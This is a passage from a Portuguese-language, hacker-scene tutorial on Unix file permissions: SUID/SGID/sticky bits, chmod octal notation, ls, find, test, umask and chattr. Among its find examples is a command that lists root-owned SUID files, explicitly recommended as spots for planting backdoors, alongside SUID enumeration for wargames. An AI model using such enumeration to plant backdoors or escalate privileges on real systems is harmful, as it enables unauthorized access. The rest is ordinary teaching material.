<p><span style="color:#000000;">É importante perceber que &#8220;outros&#8221; não significa &#8220;qualquer pessoa logada<br />
no sistema&#8221;. Como já foi dito, &#8220;outros&#8221; se refere a qualquer um que NÃO SEJA<br />
o dono do arquivo E NÃO PERTENÇA ao grupo que o arquivo/diretório está<br />
atribuido. Estou enfatizando isso porque eu já me confundi uma vez por isso.<br />
Vamos a um exemplo:</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
meleu:/home/hack$ id<br />
uid=1000(meleu) gid=100(users) groups=100(users),102(hack)<br />
meleu:/home/hack$ ls -l<br />
total 20<br />
drwxr-xr-x   5 hack     hack         4096 Jul 25 10:26 GNUstep/<br />
drwxrwx&#8212;   2 hack     hack         4096 Dec 22 06:58 ferramentas/<br />
drwxr-xrw-   3 hack     nogroup      4096 Dec 29 01:22 pratica/<br />
drwx&#8212;r-x   2 hack     hack         4096 Dec 28 16:09 progs/<br />
drwxr-x&#8212;   6 hack     hack         4096 Dec 29 00:51 textos/<br />
meleu:/home/hack$ cd progs/<br />
bash: cd: progs/: Permission denied<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Observe pela saída do &#8220;id&#8221; que eu (o usuário meleu) faço parte do grupo<br />
hack, note também que o grupo hack não possui nenhuma permissão no diretório<br />
&#8220;progs&#8221; e o resto do mundo possui permissão &#8216;r&#8217; e &#8216;x&#8217;. Isso quer dizer que<br />
as permissões são verificadas da esquerda pra direita, na sequência<br />
proprietário -&gt; grupo -&gt; outros.</span></p>
<p><span style="color:#000000;">O algoritmo desta verificação é mais ou menos assim:</span></p>
<p><span style="color:#000000;">Começo<br />
Se usuário é dono do arquivo Então<br />
permissões do dono do arquivo é atribuída ao usuário;<br />
Senão<br />
Se usuário pertence ao grupo do arquivo Então<br />
permissões do grupo do arquivo é atribuída ao usuário;<br />
Senão<br />
permissões de outros é atribuida ao usuário;<br />
Fim.</span></p>
<p><span style="color:#000000;">2.2. Permissões Especiais<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></p>
<p><span style="color:#000000;">Foram estas permissões que motivaram minha pesquisa e a escrita deste<br />
simples textículo (texto pequeno =] )&#8230; vamos a elas.<br />
Antes é importante que se saiba que para qualquer um destes atributos ter<br />
efeito é necessário permissão de execução. Para o Sticky bit é necessário<br />
&#8216;x&#8217; para outros; para o SGID bit é necessário &#8216;x&#8217; para o grupo; e para SUID<br />
é necessário &#8216;x&#8217; para o proprietário.</span></p>
<p><span style="color:#000000;">* t &#8211; Save Text Attribute (vulgo &#8220;sticky bit&#8221;)<br />
+ Arquivos: A manpage do chmod explica: &#8220;Em sistemas Unix antigos, o<br />
sticky bit fazia os arquivos executáveis serem acumulados<br />
na swap. Esta característica não funciona em sistemas modernos<br />
de Memória Virtual, e o kernel do Linux ignora o sticky bit<br />
atribuído a arquivos. Outros kernels podem usar o sticky bit<br />
em arquivos para propósitos definidos pelo sistema. Em alguns<br />
sistemas só o superusuário pode atribuir o sticky bit em<br />
arquivos&#8221;. Resumindo: na maioria dos sistemas, sticky bit em<br />
arquivos serve para NADA.</span></p>
<p><span style="color:#000000;">+ Diretórios: significa que neste diretório o usuário pode apagar apenas<br />
arquivos que ele seja o proprietário. Lembra da descrição<br />
da permissão &#8220;w&#8221; em diretórios? Quem tem permissão &#8220;w&#8221; em<br />
diretorio pode apagar qualquer arquivo dentro dele. Porém<br />
se o sticky bit também tiver sido atribuído ao diretório,<br />
o usuário só pode apagar arquivos dele.<br />
Geralmente esta permissão é usada em diretórios<br />
&#8220;world-writable&#8221; (por exemplo /tmp) para que não seja<br />
permitido que qualquer usuário apague arquivos que não lhe<br />
pertençam. Experimente um &#8220;ls -ld /tmp&#8221; e observe que o<br />
último caractere da lista de permissões é um &#8220;t&#8221;.</span></p>
<p><span style="color:#000000;">* s &#8211; Set ID Attribute<br />
Este atributo possui significados diferentes quando está relacionado ao<br />
proprietário do arquivo e quando está relacionado ao grupo, assim como<br />
também possui significados diferentes para arquivos e diretórios, em relação<br />
aos arquivos você deve saber que este atributo NÃO FAZ EFEITO em shell scripts<br />
(já ouvi rumores de que antigamente funcionava, mas desde que me tenho como<br />
fuçador [1999] nunca vi isto). Em todos os casos ele funciona como um &#8220;tempero&#8221;<br />
para a permissão de execução.</span></p>
<p><span style="color:#000000;">+ SUID Attribute (relacionado ao dono do arquivo)<br />
- Arquivos: SUID significa Set-User-ID, ou seja ele atribui ao EUID<br />
(Efective User ID) do usuário o UID do proprietário do<br />
arquivo quando o arquivo é executado e somente durante a<br />
execução do mesmo (logo, o arquivo precisa ser executável).<br />
Isso quer dizer que durante a execução do arquivo você tem<br />
acesso a tudo que o dono do arquivo tem.<br />
Mas lembre-se SOMENTE DURANTE A EXECUÇÃO DO ARQUIVO.<br />
No tópico 5. nós temos vários exemplos de esquemas deste<br />
famigerado atributo.<br />
- Diretórios: SEM EFEITO.</span></p>
<p><span style="color:#000000;">+ SGID Attribute (relacionado ao grupo)<br />
- Arquivos: SGID significa Set-Group-ID, ele atribui ao EGID (Efective<br />
Group ID) do usuário o ID do grupo do arquivo quando o<br />
arquivo é executado e (assim como no SUID) somente durante<br />
execução do mesmo.<br />
- Diretórios: se forem criados arquivos dentro deste diretório o grupo<br />
do arquivo será o mesmo grupo do diretório.<br />
Não entendeu? Vamos a um exemplo:</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
meleu:~$ id<br />
uid=1000(meleu) gid=100(users) groups=100(users),102(hack)<br />
meleu:~$ mkdir teste<br />
meleu:~$ ls -l<br />
drwxr-x&#8212;   2 meleu    users        4096 Jan  2 09:49 teste/<br />
meleu:~$ chgrp hack teste        #diretorio teste eh do grupo hack<br />
meleu:~$ chmod g+s teste/        #atribuindo SGID ao diretorio teste<br />
meleu:~$ ls -l<br />
drwxr-s&#8212;   2 meleu    hack         4096 Jan  3 12:44 teste<br />
meleu:~$ cd teste/<br />
meleu:~/teste$ touch arquivo.teste<br />
meleu:~/teste$ ls -l<br />
total 0<br />
-rw-r&#8212;&#8211;   1 meleu    hack            0 Jan  2 09:50 arquivo.teste<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Acho que você percebeu que o arquivo.teste pertence ao grupo hack. :)</span></p>
<p><span style="color:#000000;">Isso é tudo que eu sei sobre permissões de arquivos. Mas até agora vimos<br />
muita teoria. Vamos para um estudo mais pratico.</span></p>
<p><span style="color:#000000;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p><span style="color:#000000;">3. Sobre Alguns Comandos<br />
^^^^^^^^^^^^^^^^^^^^^</span></p>
<p><span style="color:#000000;">Aqui coloco algumas informações sobre alguns comandos que estão relacionados<br />
a permissões de arquivos.</span></p>
<p><span style="color:#000000;">3.1. chmod<br />
&#8212;&#8211;</span></p>
<p><span style="color:#000000;">O chmod serve para que você possa mudar as permissões de um arquivo, para<br />
fazer isso você deve ser o dono do arquivo (ou o root). Bom&#8230; Não vou escrever<br />
sobre como usar o comando, isso você deve ver na man page, vou escrever sobre<br />
um &#8220;método&#8221; diferente de como usá-lo.<br />
Se ligue na seguinte relação:</span></p>
<p><span style="color:#000000;">x = 1<br />
w = 2<br />
r = 4</span></p>
<p><span style="color:#000000;">Você pode usar esta relação para alterar as permissões de arquivos. Preste<br />
atenção na seguinte linha de comando:</span></p>
<p><span style="color:#000000;">chmod 644 arquivo.txt<br />
|||<br />
dono do arquivo &lt;-&#8217;|`-&gt; outros<br />
`-&gt; grupo</span></p>
<p><span style="color:#000000;">Cada dígito diz respeito a um nível. Repare que no comando acima eu usei um<br />
6, isso quer dizer que eu estou dando permissão de gravação (w = 2) e de<br />
leitura (r = 4) (4 + 2 = 6). Com o comando acima o &#8220;arquivo.txt&#8221; terá as<br />
seguintes permissões: -rw-r&#8211;r&#8211;</span></p>
<p><span style="color:#000000;">Veja esta tabela:</span></p>
<p><span style="color:#000000;">,&#8212;&#8212;-,&#8212;&#8212;&#8212;&#8211;,&#8212;&#8212;&#8212;,<br />
| octal | permissão | cálculo |<br />
|&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8211;|&#8212;&#8212;&#8212;|<br />
|   0   |    &#8212;    |    0    |<br />
|   1   |    &#8211;x    |    1    |<br />
|   2   |    -w-    |    2    |<br />
|   3   |    -wx    |   2+1   |<br />
|   4   |    r&#8211;    |    4    |<br />
|   5   |    r-x    |   4+1   |<br />
|   6   |    rw-    |   4+2   |<br />
|   7   |    rwx    |  4+2+1  |<br />
&#8216;&#8212;&#8212;-&#8217;&#8212;&#8212;&#8212;&#8211;&#8217;&#8212;&#8212;&#8212;&#8217;<br />
OBS.: esta tabela só é valida para as permissões &#8220;básicas&#8221; (rwx).</span></p>
<p><span style="color:#000000;">Lembre-se de que cada dígito diz respeito a um nível! Logo no comando dado<br />
como ilustração acima &#8220;chmod 644 arquivo.txt&#8221; está sendo setado ao dono do<br />
arquivo a permissão de leitura e escrita e ao grupo e outros apenas a permissão<br />
de leitura.</span></p>
<p><span style="color:#000000;">Agora em relação as permissões &#8220;especiais&#8221;. Observe a relação abaixo:</span></p>
<p><span style="color:#000000;">Sticky Bit = 1<br />
SGID = 2<br />
SUID = 4</span></p>
<p><span style="color:#000000;">Veja um exemplo de um comando e a explicação de o que estamos fazendo:</span></p>
<p><span style="color:#000000;">chmod 4755 programa<br />
||||<br />
SUID bit &#8216;&#8211;s&#8212;&#8212;&#8217; &lt;&#8211;&#8217;||`&#8211;&gt; permissão &#8216;r-x&#8217; para outros<br />
|`&#8211;&gt; permissão &#8216;r-x&#8217; para o grupo<br />
permissão &#8216;rwx&#8217; para o dono &lt;&#8211;&#8217;</span></p>
<p><span style="color:#000000;">Após este comando o &#8220;programa&#8221; terá as seguintes permissões: -rwsr-xr-x</span></p>
<p><span style="color:#000000;">O dígito relacionado às permissões especiais precisa ser o primeiro de<br />
quatro. Isso porque o chmod considera dígitos ausentes como 0. Exemplo:</span></p>
<p><span style="color:#000000;">$ chmod 4 arquivo.txt</span></p>
<p><span style="color:#000000;">é equivalente a</span></p>
<p><span style="color:#000000;">$ chmod 0004 arquivo.txt</span></p>
<p><span style="color:#000000;">Outra tabelinha de lambuja:</span></p>
<p><span style="color:#000000;">,&#8212;&#8212;-,&#8212;&#8212;&#8212;&#8211;,&#8212;&#8212;&#8212;,<br />
| octal | permissão | cálculo |<br />
|&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8211;|&#8212;&#8212;&#8212;|<br />
|   0   | &#8212;&#8212;&#8212; |    0    |<br />
|   1   | &#8212;&#8212;&#8211;t |    1    |<br />
|   2   | &#8212;&#8211;s&#8212; |    2    |<br />
|   3   | &#8212;&#8211;s&#8211;t |   2+1   |<br />
|   4   | &#8211;s&#8212;&#8212; |    4    |<br />
|   5   | &#8211;s&#8212;&#8211;t |   4+1   |<br />
|   6   | &#8211;s&#8211;s&#8212; |   4+2   |<br />
|   7   | &#8211;s&#8211;s&#8211;t |  4+2+1  |<br />
&#8216;&#8212;&#8212;-&#8217;&#8212;&#8212;&#8212;&#8211;&#8217;&#8212;&#8212;&#8212;&#8217;</span></p>
<p><span style="color:#000000;">Lembre-se: Os valores desta tabela são válidos apenas para o primeiro<br />
dígito dos quatro presentes no comando chmod.</span></p>
<p><span style="color:#000000;">Relembrando que esta é apenas uma maneira de usar o chmod, uma lida na man<br />
page irá revelar outras maneiras, algumas até mais simples.</span></p>
<p><span style="color:#000000;">3.2. ls<br />
&#8211;</span></p>
<p><span style="color:#000000;">Essa parte é só pra você entender o que a saída de um &#8220;ls&#8221; significa.<br />
Vamos repetir aqui o primeiro exemplo dado neste texto:</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
meleu:~$ ls -l<br />
total 28<br />
drwxr-xr-x   5 meleu    users        4096 Jul 25 10:26 GNUstep/<br />
drwxrwx&#8212;   2 meleu    staff        4096 Dec 22 06:58 myprogs/<br />
-rw-r&#8211;r&#8211;   1 meleu    users        4163 Nov 16 06:43 rfc1244.txt<br />
drwxr-xr-x   2 meleu    staff        4096 Dec 28 16:09 mylibs/<br />
-rw&#8212;&#8212;-   1 meleu    users        1074 Dec 12 04:37 anotações.txt<br />
drwxr-x&#8212;   6 meleu    users        4096 Dec 28 16:12 textos/<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Como já foi dito, este &#8216;d&#8217; no primeiro bit de algumas linhas significa<br />
diretório. Agora vamos a uma tabela com todas as possibilidades.</span></p>
<p><span style="color:#000000;">,&#8212;&#8212;&#8212;&#8211;,&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;,<br />
| Caractere |       Significado         |<br />
|&#8212;&#8212;&#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|<br />
|     &#8211;     |     arquivo regular       |<br />
|     b     |   dispositivo de blocos   |<br />
|     c     | dispositivo de caracteres |<br />
|     d     |        diretório          |<br />
|     l     |      link simbólico       |<br />
|     p     |          FIFO             |<br />
|     s     |         socket            |<br />
&#8216;&#8212;&#8212;&#8212;&#8211;&#8217;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8217;</span></p>
<p><span style="color:#000000;">/* Só umas informações a mais&#8230; ;)<br />
Os dispositivos de blocos são periféricos (como um disco rígido, por<br />
exemplo) onde os dados são lidos e gravados, no próprio dispositivo como<br />
blocos (no disco rígido geralmente o bloco é de 1024 bytes). Nos dispositivos<br />
de caracteres os dados são lidos ou gravados em sequência e a I/O pode ser<br />
feita como bytes separados (um terminal virtual é um exemplo de dispositivo<br />
de caracteres). */</span></p>
<p><span style="color:#000000;">Observe também que no final do nome do diretório existe uma barra &#8220;/&#8221;. Isto<br />
acontece quando é dado o paramatro -F ao comando &#8220;ls&#8221;, e geralmente existe um<br />
alias que faz isso pra você.<br />
Olhe uma tabela com outros caracteres que aparecem no final do nome para<br />
facilitar a identificação:</span></p>
<p><span style="color:#000000;">,&#8212;&#8212;&#8212;,&#8212;&#8212;&#8212;&#8212;&#8212;-,<br />
| Símbolo |  Significado   |<br />
|&#8212;&#8212;&#8212;|&#8212;&#8212;&#8212;&#8212;&#8212;-|<br />
|    *    |   executável   |<br />
|    /    |   diretório    |<br />
|    =    |    socket      |<br />
|    @    | symbolic link  |<br />
|    |    |      FIFO      |<br />
&#8216;&#8212;&#8212;&#8212;&#8217;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8217;</span></p>
<p><span style="color:#000000;">Agora em relação a permissões, permissões especiais pra ser mais específico.<br />
Como já foi dito anteriormente, é necessário permissão de execução para que<br />
os atributos &#8220;especiais&#8221; tenham efeito. Portanto quando estes atributos estão<br />
sendo usados e não estão fazendo efeito algum eles aparecem em maiúsculo.<br />
Veja um exemplo:</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
meleu:~$ touch arquivo<br />
meleu:~$ chmod 7000 arquivo<br />
meleu:~$ ls -l arquivo<br />
&#8212;S&#8211;S&#8211;T   1 hack     users           0 Jan  4 09:55 arquivo<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Se quiser saber mais sobre o &#8220;ls&#8221; olhe a página man. ;-)</span></p>
<p><span style="color:#000000;">3.3. find<br />
&#8212;-</span></p>
<p><span style="color:#000000;">Este comando é uma benção! :) Realmente muito útil e vale a pena você dar<br />
uma lida na página man&#8230;. Mas vamos aqui a uma pequena introdução só para<br />
você sentir um gostinho.</span></p>
<p><span style="color:#000000;">Veja aqui uma lista dos argumentos mais usados:</span></p>
<p><span style="color:#000000;">Argumento          Descrição</span></p>
<p><span style="color:#000000;">-user &lt;usuário&gt;    procura por arquivos cujo dono seja &lt;usuário&gt;.<br />
-group &lt;grupo&gt;     procura por arquivos cujo grupo seja &lt;grupo&gt;.<br />
-uid &lt;num&gt;         procura por arquivos cujo dono tenha UID &lt;num&gt;.<br />
-gid &lt;num&gt;         procura por arquivos cujo grupo tenha GID &lt;num&gt;.<br />
-name &lt;padrão&gt;     procura por arquivos de nome que combine com o &lt;padrão&gt;.<br />
-type &lt;tipo&gt;       procura por arquivos do tipo &lt;type&gt;<br />
-perm [-]&lt;perms&gt;   procura por arquivos de permissões &lt;perms&gt; (veja abaixo).</span></p>
<p><span style="color:#000000;">Nota-1: o parâmetro &lt;perms&gt; precisa estar no formato octal, e se você colocar<br />
o &#8216;-&#8217; na frente o find procurará por arquivos que tenham *no mínimo* as<br />
permissões &lt;perms&gt; (veja exemplos abaixo).<br />
Nota-2: os tipos que são usados com o parâmetro -type são aquelas letras<br />
da tabela encontrada no tópico 3.2. (sobre ls), com a excessão do arquivo<br />
regular onde é usado o caracter &#8216;f&#8217;.</span></p>
<p><span style="color:#000000;">É interessante que você use redirecionamento para poder consultar o<br />
resultado da pesquisa. Só pra lembrar: &#8216;&gt;&#8217; redireciona a saída padrão e<br />
&#8216;2&gt;&#8217; redireciona a saída de erro padrão. Assim, uma boa é usar sempre<br />
&#8220;2&gt; /dev/null&#8221;. ;)</span></p>
<p><span style="color:#000000;">Vamos a alguns exemplos&#8230; para maiores detalhes&#8230; nem precisa falar né?!</span></p>
<p><span style="color:#000000;">+ procurar por arquivos suid ou sgid:<br />
find / -perm -4000 -o -perm -2000</span></p>
<p><span style="color:#000000;">+ procurar por arquivos suid do root executável para todos (ou seja, bons<br />
arquivos para se colocar backdoors ;-) ):<br />
find / -user root -perm -4001<br />
ou melhor:<br />
find / -uid 0 -perm -4001</span></p>
<p><span style="color:#000000;">+ procurar por arquivos world-writable que não sejam links simbólicos,<br />
nem dispositivos de caracteres, nem sockets, e nem que possuam o sticky<br />
bit (OBS-1: 0&#8217;s a esquerda das permissões podem ser omitidos; OBS-2: a<br />
exclamação &#8216;!&#8217; serve para negação de tudo que está entre parênteses;<br />
OBS-3: o &#8216;-o&#8217; é o &#8220;ou lógico&#8221; do find)<br />
find / -perm -2  ! ( -type l -o -type c -o -type s -o -perm -1000 )</span></p>
<p><span style="color:#000000;">Eu uso muito o find para encontrar os suid files nos WarGames (ver<br />
referências), onde você tem que encontrar o suid file do level superior ao<br />
seu. Por exemplo, quando está no level3 e quer procurar o suid file do<br />
level4, use:<br />
find / -user level4 -perm -4000 2&gt; /dev/null</span></p>
<p><span style="color:#000000;">3.4. test<br />
&#8212;-</span></p>
<p><span style="color:#000000;">Este comando é muito usado nos shell scripts. E dá pra se fazer muita<br />
coisa interessante com ele. Não é o propósito deste texto ensinar<br />
Shell Scripting, portanto se não entender procure outras fontes (inclusive em<br />
&lt;http://unsekurity.virtualave.net&gt; ).<br />
Como você deve saber (senão, fica sabendo agora :P ) o &#8220;test expressão&#8221; é a<br />
mesma coisa que usar &#8220;[expressão]&#8221; e esta última notação que irei usar. Como a<br />
página man explica tudo que se deve saber, não vou explicar sobre o test aqui.<br />
Mas aí vai um exemplo de script (o script é meio besta&#8230; somente para<br />
ilustração mesmo). Não esqueça de ler a man page.</span></p>
<p><span style="color:#000000;">/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; */<br />
&lt;++&gt; Permissoes/perms.sh<br />
#!/bin/bash</span></p>
<p><span style="color:#000000;">if [ $# -ne 1 ]; then<br />
echo &#8220;Uso: `basename $0` filename&#8221; 1&gt;&amp;2<br />
exit -1<br />
fi</span></p>
<p><span style="color:#000000;"># -e verifica se o arquivo existe<br />
if ! [ -e $1 ]; then<br />
echo &#8220;$1 não existe&#8221;</span></p>
<p><span style="color:#000000;"># -k verifica se possui sticky bit<br />
elif [ -k $1 ]; then<br />
echo &#8220;$1 possui &#8220;sticky bit&#8221;"</span></p>
<p><span style="color:#000000;"># -g verifica se possui SGID<br />
elif [ -g $1 ]; then<br />
echo &#8220;$1 possui Set-Group-ID&#8221;</span></p>
<p><span style="color:#000000;"># -u verifica se possui SUID<br />
elif [ -u $1 ]; then<br />
echo &#8220;$1 possui Set-User-ID&#8221;<br />
fi</span></p>
<p><span style="color:#000000;">&lt;&#8211;&gt;<br />
/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; */</span></p>
<p><span style="color:#000000;">Agora basta aprender um pouquinho de shell scripting que dá pra fazer<br />
algumas coisas legais! ;)</span></p>
<p><span style="color:#000000;">3.5. umask<br />
&#8212;&#8211;</span></p>
<p><span style="color:#000000;">O umask é um comando embutido no shell, e está presente nos shells mais<br />
comuns (bash, ash, ksh, csh). Dizer que o ele é um comando embutido no shell<br />
também quer dizer que não existe uma página man somente para este comando,<br />
e sim que a descrição dele está na página man do shell em questão. Tente<br />
digitar &#8220;man bash&#8221; e quando a manpage estiver sendo exibida procure por<br />
umask (geralmente isso é feito teclando /umask &lt;ENTER&gt;). Isso deve levá-lo<br />
até a descrição do umask.<br />
O umask define as permissões que NÃO serão aplicadas aos novos arquivos a<br />
serem criados pelo usuário. Geralmente o umask padrão é atribuido em algum<br />
arquivo &#8220;profile&#8221; (algo como ~/.profile para um usuário individual, ou<br />
/etc/profile para todos usuários do sistema, mas isso pode variar muito em<br />
cada sistema). Se você achar o seu arquivo profile, tente encontrar o comando<br />
umask nele, deve estar em algum lugar. Agora vamos visualizar um exemplo:</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
meleu:~$ umask<br />
0022<br />
meleu:~$ mkdir bla1    #0022 eh permissao de escrita para grupo e outros<br />
meleu:~$ ls -l         #note que o dir criado NAO tem &#8220;w&#8221; para grupo e outros<br />
total 4<br />
drwxr-xr-x 2 meleu users 4096 2007-06-03 16:52 bla1/<br />
meleu:~$ umask 0077    #mudei meu umask, 0077 eh rwx para grupo e outros<br />
meleu:~$ mkdir bla2<br />
meleu:~$ ls -l         #note que bla2 NAO tem &#8220;rwx&#8221; para grupo e outros<br />
total 8<br />
drwxr-xr-x 2 meleu users 4096 2007-06-03 16:52 bla1/<br />
drwx&#8212;&#8212; 2 meleu users 4096 2007-06-03 16:53 bla2/<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Então lembre-se: umask define as permissões que NÃO serão atribuídas aos<br />
novos arquivos a serem criados.</span></p>
<p><span style="color:#000000;">3.6. chattr<br />
&#8212;&#8212;</span></p>
<p><span style="color:#000000;">ATENÇÃO: este comando é específico do Linux e do sistema de arquivos ext2<br />
e ext3! Não existe este comando no FreeBSD ou no minix por exemplo. Mesmo<br />
assim achei interessante colocar esta seção pois o uso do Linux está muito<br />
difundido por aí.</span></p>
<p><span style="color:#000000;">O comando chattr muda atributos de um arquivo em um sistema de arquivos<br />
ext2 ou ext3. Os atributos são identificados por um caractere. Para definir<br />
um atributo a um arquivo usa-se um sinal de &#8220;+&#8221; antes do caractere que<br />
identifica o atributo, e para retirar o atributo usa-se um &#8220;-&#8221;. Tais<br />
atributos são bem descritos na página man do chattr na seção ATTRIBUTES. Aqui<br />
vamos ilustrar o poder do chattr com o atributo &#8220;i&#8221;, o chamado imutável<br />
(immutable flag). Para atribuir o immutable flag a um arquivo o comando é o<br />
seguinte &#8220;chattr +i arquivo&#8221;, mas antes de sair fazendo isso vamos a uma<br />
explicação (retirada da página man do chattr):</span></p>
<p><span style="color:#000000;">&#8220;Um arquivo com o atributo &#8216;i&#8217; não pode ser modificado: ele não pode ser<br />
apagado nem renomeado, nenhum link pode ser criado para este arquivo e<br />
nenhum dado pode ser escrito neste arquivo. Apenas o superusuário ou um<br />
processo possuindo a capacidade CAP_LINUX_IMMUTABLE pode ligar ou<br />
desligar este atributo.&#8221;</span></p>
<p><span style="color:#000000;">Ao ler isso nos vem logo uma pergunta à mente: nem o root pode modificar/<br />
apagar este arquivo? Vamos a um exemplo para responder nossa pergunta. Os<br />
comentários após o &#8220;#&#8221; são para ajudar na explicação e as linhas em branco<br />
são somente para tornar a leitura mais agradável. Note que o comando lsattr<br />
serve para listar os atributos de um arquivo.</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
root:~# id                # sou o superusuario<br />
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),17(audio),18(video),19(cdrom)</span></p>
<p><span style="color:#000000;">root:~# touch arquivo     # estou criando um arquivo para nosso teste</span></p>
<p><span style="color:#000000;">root:~# ls -l arquivo     # observe a seguir que tenho permissao de escrita<br />
-rw-r&#8211;r&#8211; 1 root root 0 2007-06-04 15:43 arquivo</span></p>
<p><span style="color:#000000;">root:~# lsattr arquivo    # vejamos os atributos deste arquivo<br />
&#8212;&#8212;&#8212;&#8212;- arquivo</span></p>
<p><span style="color:#000000;">root:~# echo &#8220;isto eh soh um teste&#8221; &gt;&gt; arquivo</span></p>
<p><span style="color:#000000;">root:~# cat arquivo       # adicionei uma linha no arquivo, veja:<br />
isto eh soh um teste<br />
root:~# chattr +i arquivo # atribuindo o immutable flag</span></p>
<p><span style="color:#000000;">root:~# lsattr arquivo    # veja o atributo i setado<br />
&#8212;-i&#8212;&#8212;&#8211; arquivo</span></p>
<p><span style="color:#000000;">root:~# echo &#8220;mais um pequeno teste&#8221; &gt;&gt; arquivo<br />
-bash: arquivo: Permission denied</span></p>
<p><span style="color:#000000;">root:~# cat arquivo       # uau! sou o root e nao consegui escrever no arquivo!<br />
isto eh soh um teste<br />
root:~# rm -f arquivo     # serah que consigo apagar este miseravel?<br />
rm: cannot remove `arquivo&#8217;: Operation not permitted<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Viu só? Nem o root pode fazer qualquer modificação em um arquivo com o<br />
immutable flag ativado. No entanto somente o root pode ligar ou desligar este<br />
atributo de um arquivo. Logo, basta um &#8220;chattr -i arquivo&#8221; como root e tudo<br />
volta ao normal.<br />
Agora vamos a uma valiosa dica retirada do Tips-HOWTO seção 3.3. &#8220;How to<br />
use the immutable flag&#8221;:</span></p>
<p><span style="color:#000000;">&#8220;Logo após instalar e configurar seu sistema, vá no /bin, /sbin, /usr/bin,<br />
/usr/sbin e /usr/lib (e outros diretórios suspeitos) e faça uso liberal de<br />
&#8216;chattr +i comando&#8217;. Também faça isso aos arquivos do kernel na raiz. Agora<br />
faça &#8216;mkdir /etc/.dist/&#8217; e copie tudo de /etc/ naquele diretório (eu faço<br />
isso em dois passos, usando /tmp/etcdist.tar para evitar recursão).<br />
Opcionalmente você pode apenas criar /etc/.dist.tar.gz e marcar como<br />
imutável.<br />
A razão para tudo isto é limitar o dano que você pode fazer quando estiver<br />
usando a conta root. Você não irá sobrescrever arquivos com um operador de<br />
redirecionamento perdido, e não fará o sistema inutilizável com um espaço<br />
perdido dentro de um comando &#8216;rm -fr&#8217; (você ainda pode fazer bastante dano<br />
em seus dados, mas seus bin&#8217;s e libs estarão mais seguros).<br />
Isto também impossibilita ou torna mais difícil a ação de uma variedade<br />
de exploits de segurança ou denial of service (uma vez que muitos deles<br />
consistem em sobrescrever algum arquivo pelas ações de algum programa SUID).<br />
A única inconveniência disto é quando se está desenvolvendo e fazendo seu<br />
&#8216;make install&#8217; em vários tipos de binários do sistema. Por outro lado também<br />
previne que o &#8216;make install&#8217; sobrescreva os arquivos. Quando você esquecer<br />
de ler o Makefile e fazer &#8216;chattr -i&#8217; nos arquivos que seriam sobrescritos<br />
(e nos diretórios para os quais você quer adicionar arquivos) &#8212; o make<br />
falha, você só precisa usar o comando &#8216;chattr -i&#8217; e reexecutar o make.(&#8230;)&#8221;</span></p>
<p><span style="color:#000000;">Dá pra perceber aí o quanto que vale a pena estudar o chattr, né?</span></p>
<p><span style="color:#000000;">3.7. Outros Comandos<br />
&#8212;&#8212;&#8212;&#8212;&#8212;</span></p>
<p><span style="color:#000000;">Aqui vai uma relação de alguns comandos que tem relação com permissões de<br />
arquivos. Dê uma olhada na página man deles.</span></p>
<p><span style="color:#000000;">chown, chgrp, newgrp, su, sudo, suauth.</span></p>
<p><span style="color:#000000;">No momento só estou me lembrando destes&#8230; Devem haver muitos outros.</span></p>
<p><span style="color:#000000;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p><span style="color:#000000;">4. Usando C<br />
^^^^^^^^</span></p>
<p><span style="color:#000000;">Esta parte tem alguns pontos parecidos com a matéria de lamagra na<br />
CoreZine n. 1 (ver 6. Referências). Não me chame de copião! Acho que em<br />
português não tem nada sobre isso, por isso resolvi escrever.</span></p>
<p><span style="color:#000000;">4.1. Informações sobre Arquivos<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></p>
<p><span style="color:#000000;">Como já foi dito, todas as informações sobre um arquivo fica numa<br />
estrutura chamada inode. Para que possamos consultar estas informações<br />
através do C utilizamos as funções stat(), fstat() e lstat().<br />
Aqui estão os protótipos e uma ligeira descrição:</span></p>
<p><span style="color:#000000;">int stat(const char *file_name, struct stat *buf);<br />
int fstat(int filedes, struct stat *buf);<br />
int lstat(const char *file_name, struct stat *buf);</span></p>
<p><span style="color:#000000;">-&gt; stat:  consulta informações sobre file_name no inode e armazena na<br />
estrutura buf.<br />
-&gt; fstat: faz o mesmo só que ela acessa o arquivo através do inteiro<br />
filedes (file descriptor), como por exemplo o retornado por open()<br />
